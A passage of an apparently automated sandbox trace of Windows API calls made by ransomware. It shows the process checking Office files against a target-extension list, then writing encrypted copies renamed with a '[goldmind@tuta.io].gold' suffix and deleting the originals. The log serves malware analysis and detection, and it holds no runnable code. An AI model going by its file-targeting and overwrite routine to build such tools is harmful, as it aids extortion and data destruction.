(lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll")) returned 0x20 [0104.333] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.333] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\omsintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0104.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.334] lstrlenW (lpString=".doc") returned 4 [0104.334] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0104.334] lstrlenW (lpString=".docx") returned 5 [0104.334] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0104.334] lstrlenW (lpString=".pdf") returned 4 [0104.334] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0104.334] lstrlenW (lpString=".xls") returned 4 [0104.334] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0104.334] lstrlenW (lpString=".xlsx") returned 5 [0104.334] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0104.334] lstrlenW (lpString=".ppt") returned 4 [0104.334] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0104.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.334] lstrlenW (lpString=".zip") returned 4 [0104.334] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0104.334] lstrlenW (lpString=".rar") returned 4 [0104.334] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0104.334] lstrlenW (lpString=".bz2") returned 4 [0104.334] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0104.334] lstrlenW (lpString=".7z") returned 3 [0104.334] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.334] lstrlenW (lpString=".dbf") returned 4 [0104.334] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0104.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.334] lstrlenW (lpString=".1cd") returned 4 [0104.334] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0104.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.334] lstrlenW (lpString=".jpg") returned 4 [0104.334] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0104.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.334] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.334] lstrlenW (lpString=".doc") returned 4 [0104.334] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0104.334] lstrlenW (lpString=".docx") returned 5 [0104.334] lstrcmpiW (lpString1=".docx", lpString2="L.DLL") returned -1 [0104.335] lstrlenW (lpString=".pdf") returned 4 [0104.335] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0104.335] lstrlenW (lpString=".xls") returned 4 [0104.335] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0104.335] lstrlenW (lpString=".xlsx") returned 5 [0104.335] lstrcmpiW (lpString1=".xlsx", lpString2="L.DLL") returned -1 [0104.335] lstrlenW (lpString=".ppt") returned 4 [0104.335] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0104.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.335] lstrlenW (lpString=".zip") returned 4 [0104.335] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0104.335] lstrlenW (lpString=".rar") returned 4 [0104.335] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0104.335] lstrlenW (lpString=".bz2") returned 4 [0104.335] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0104.335] lstrlenW (lpString=".7z") returned 3 [0104.335] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0104.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.335] lstrlenW (lpString=".dbf") returned 4 [0104.335] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0104.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.335] lstrlenW (lpString=".1cd") returned 4 [0104.335] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0104.335] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OMSINTL.DLL") returned 59 [0104.335] lstrlenW (lpString=".jpg") returned 4 [0104.335] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0104.335] lstrcmpiW (lpString1=".INF", lpString2=".gold") returned 1 [0104.335] lstrlenW (lpString="OUTLBAR.INF") returned 11 [0104.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0104.825] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=2416) returned 1 [0104.825] CloseHandle (hObject=0x3ac) returned 1 [0104.825] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf")) returned 0x20 [0104.826] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0104.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0105.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.113] lstrlenW (lpString=".doc") returned 4 [0105.113] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0105.113] lstrlenW (lpString=".docx") returned 5 [0105.113] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0105.113] lstrlenW (lpString=".pdf") returned 4 [0105.113] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0105.113] lstrlenW (lpString=".xls") returned 4 [0105.113] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0105.113] lstrlenW (lpString=".xlsx") returned 5 [0105.113] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0105.113] lstrlenW (lpString=".ppt") returned 4 [0105.113] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0105.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.113] lstrlenW (lpString=".zip") returned 4 [0105.113] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0105.113] lstrlenW (lpString=".rar") returned 4 [0105.113] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0105.113] lstrlenW (lpString=".bz2") returned 4 [0105.113] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0105.113] lstrlenW (lpString=".7z") returned 3 [0105.113] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0105.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.113] lstrlenW (lpString=".dbf") returned 4 [0105.113] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0105.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.113] lstrlenW (lpString=".1cd") returned 4 [0105.113] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0105.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.113] lstrlenW (lpString=".jpg") returned 4 [0105.113] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0105.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.113] lstrlenW (lpString=".doc") returned 4 [0105.113] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0105.113] lstrlenW (lpString=".docx") returned 5 [0105.113] lstrcmpiW (lpString1=".docx", lpString2="R.INF") returned -1 [0105.113] lstrlenW (lpString=".pdf") returned 4 [0105.113] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0105.113] lstrlenW (lpString=".xls") returned 4 [0105.113] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0105.113] lstrlenW (lpString=".xlsx") returned 5 [0105.113] lstrcmpiW (lpString1=".xlsx", lpString2="R.INF") returned -1 [0105.113] lstrlenW (lpString=".ppt") returned 4 [0105.113] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0105.113] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.113] lstrlenW (lpString=".zip") returned 4 [0105.113] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0105.113] lstrlenW (lpString=".rar") returned 4 [0105.114] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0105.114] lstrlenW (lpString=".bz2") returned 4 [0105.114] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0105.114] lstrlenW (lpString=".7z") returned 3 [0105.114] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0105.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.114] lstrlenW (lpString=".dbf") returned 4 [0105.114] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0105.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.114] lstrlenW (lpString=".1cd") returned 4 [0105.114] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0105.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF") returned 59 [0105.114] lstrlenW (lpString=".jpg") returned 4 [0105.114] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0105.114] lstrcmpiW (lpString1=".HXK", lpString2=".gold") returned 1 [0105.114] lstrlenW (lpString="OUTLOOK.DEV_F_COL.HXK") returned 21 [0105.114] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.170] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=114) returned 1 [0105.170] CloseHandle (hObject=0x230) returned 1 [0105.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk")) returned 0x20 [0105.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.171] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.171] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.171] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0105.174] GetLastError () returned 0x0 [0105.174] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x72, lpOverlapped=0x0) returned 1 [0105.175] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0x80, lpOverlapped=0x0) returned 1 [0105.175] ReadFile (in: hFile=0x230, lpBuffer=0x3f00020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesRead=0x351fed4*=0x0, lpOverlapped=0x0) returned 1 [0105.175] WriteFile (in: hFile=0x194, lpBuffer=0x3f00020*, nNumberOfBytesToWrite=0xfe, lpNumberOfBytesWritten=0x351fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f00020*, lpNumberOfBytesWritten=0x351fc9c*=0xfe, lpOverlapped=0x0) returned 1 [0105.175] SetEndOfFile (hFile=0x194) returned 1 [0105.175] CloseHandle (hObject=0x194) returned 1 [0105.176] SetFilePointerEx (in: hFile=0x230, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec8 | out: lpNewFilePointer=0x0) returned 1 [0105.176] SetEndOfFile (hFile=0x230) returned 1 [0105.177] CloseHandle (hObject=0x230) returned 1 [0105.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0105.178] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk")) returned 1 [0105.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.178] lstrlenW (lpString=".doc") returned 4 [0105.178] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.178] lstrlenW (lpString=".docx") returned 5 [0105.178] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.178] lstrlenW (lpString=".pdf") returned 4 [0105.178] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.178] lstrlenW (lpString=".xls") returned 4 [0105.178] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.178] lstrlenW (lpString=".xlsx") returned 5 [0105.178] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.178] lstrlenW (lpString=".ppt") returned 4 [0105.178] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.178] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.179] lstrlenW (lpString=".zip") returned 4 [0105.179] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.179] lstrlenW (lpString=".rar") returned 4 [0105.179] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.179] lstrlenW (lpString=".bz2") returned 4 [0105.179] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.179] lstrlenW (lpString=".7z") returned 3 [0105.179] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.179] lstrlenW (lpString=".dbf") returned 4 [0105.179] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.179] lstrlenW (lpString=".1cd") returned 4 [0105.179] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.179] lstrlenW (lpString=".jpg") returned 4 [0105.179] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.179] lstrlenW (lpString=".doc") returned 4 [0105.179] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0105.179] lstrlenW (lpString=".docx") returned 5 [0105.179] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0105.179] lstrlenW (lpString=".pdf") returned 4 [0105.179] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0105.179] lstrlenW (lpString=".xls") returned 4 [0105.179] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0105.179] lstrlenW (lpString=".xlsx") returned 5 [0105.179] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0105.179] lstrlenW (lpString=".ppt") returned 4 [0105.179] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0105.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.179] lstrlenW (lpString=".zip") returned 4 [0105.179] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0105.179] lstrlenW (lpString=".rar") returned 4 [0105.179] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0105.179] lstrlenW (lpString=".bz2") returned 4 [0105.179] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0105.179] lstrlenW (lpString=".7z") returned 3 [0105.179] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0105.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.179] lstrlenW (lpString=".dbf") returned 4 [0105.179] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0105.179] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.179] lstrlenW (lpString=".1cd") returned 4 [0105.180] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0105.180] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK") returned 69 [0105.180] lstrlenW (lpString=".jpg") returned 4 [0105.180] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0105.180] lstrcmpiW (lpString1=".HXS", lpString2=".gold") returned 1 [0105.180] lstrlenW (lpString="OUTLOOK.HXS") returned 11 [0105.180] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.180] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=5000295) returned 1 [0105.180] CloseHandle (hObject=0x230) returned 1 [0105.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs")) returned 0x20 [0105.180] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0105.181] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[goldmind@tuta.io].gold")) returned 0 [0105.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.181] lstrlenW (lpString=".doc") returned 4 [0105.181] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0105.181] lstrlenW (lpString=".docx") returned 5 [0105.181] lstrcmpiW (lpString1=".docx", lpString2="K.HXS") returned -1 [0105.181] lstrlenW (lpString=".pdf") returned 4 [0105.181] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0105.181] lstrlenW (lpString=".xls") returned 4 [0105.181] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0105.181] lstrlenW (lpString=".xlsx") returned 5 [0105.181] lstrcmpiW (lpString1=".xlsx", lpString2="K.HXS") returned -1 [0105.181] lstrlenW (lpString=".ppt") returned 4 [0105.181] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0105.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.181] lstrlenW (lpString=".zip") returned 4 [0105.181] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0105.181] lstrlenW (lpString=".rar") returned 4 [0105.181] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0105.181] lstrlenW (lpString=".bz2") returned 4 [0105.181] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0105.181] lstrlenW (lpString=".7z") returned 3 [0105.181] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0105.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.181] lstrlenW (lpString=".dbf") returned 4 [0105.181] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0105.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.181] lstrlenW (lpString=".1cd") returned 4 [0105.181] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0105.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.181] lstrlenW (lpString=".jpg") returned 4 [0105.181] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0105.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.181] lstrlenW (lpString=".doc") returned 4 [0105.181] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0105.182] lstrlenW (lpString=".docx") returned 5 [0105.182] lstrcmpiW (lpString1=".docx", lpString2="K.HXS") returned -1 [0105.182] lstrlenW (lpString=".pdf") returned 4 [0105.182] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0105.182] lstrlenW (lpString=".xls") returned 4 [0105.182] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0105.182] lstrlenW (lpString=".xlsx") returned 5 [0105.182] lstrcmpiW (lpString1=".xlsx", lpString2="K.HXS") returned -1 [0105.182] lstrlenW (lpString=".ppt") returned 4 [0105.182] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0105.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.182] lstrlenW (lpString=".zip") returned 4 [0105.182] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0105.182] lstrlenW (lpString=".rar") returned 4 [0105.182] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0105.182] lstrlenW (lpString=".bz2") returned 4 [0105.182] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0105.182] lstrlenW (lpString=".7z") returned 3 [0105.182] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0105.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.182] lstrlenW (lpString=".dbf") returned 4 [0105.182] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0105.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.182] lstrlenW (lpString=".1cd") returned 4 [0105.182] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0105.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0105.182] lstrlenW (lpString=".jpg") returned 4 [0105.182] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0105.182] lstrcmpiW (lpString1=".HXC", lpString2=".gold") returned 1 [0105.182] lstrlenW (lpString="OUTLOOK_COL.HXC") returned 15 [0105.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x230 [0105.183] GetFileSizeEx (in: hFile=0x230, lpFileSize=0x351ff1c | out: lpFileSize=0x351ff1c*=631) returned 1 [0105.183] CloseHandle (hObject=0x230) returned 1 [0105.183] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook_col.hxc")) returned 0x20 [0105.184] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft 